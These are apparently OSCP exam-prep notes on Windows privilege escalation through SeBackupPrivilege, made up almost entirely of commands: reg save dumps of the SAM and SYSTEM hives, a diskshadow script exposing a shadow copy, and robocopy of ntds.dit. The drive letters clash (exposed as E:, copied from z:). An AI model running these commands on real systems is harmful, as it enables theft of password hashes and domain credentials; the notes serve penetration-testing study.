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Whoami Priv Sebackupprivilege

Notes from oscp.adot8.com — windows privilege escalation.

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SeBackupPrivilege

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01Privilege Name Description State
02============================= =================================== =======
03SeBackupPrivilege Back up files and directories Enabled
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01reg save hklm\sam C:\programdata\sam.bak
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01reg save hklm\system C:\programdata\system.bak

Option 2

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Create pwned.dsh file

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01set verbose on
02set metadata C:\Windows\Temp\meta.cab
03set context clientaccessible
04set context persistent
05begin backup
06add volume C: alias cdrive
07create
08expose %cdrive% E:
09end backup

Convert encoding and formatting

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01unix2dos pwned.dsh

Upload to machine

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01diskshadow /s pwned.dsh
02robocopy /b z:\windows\ntds . ntds.dit
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01reg save hklm\system C:\programdata\system.bak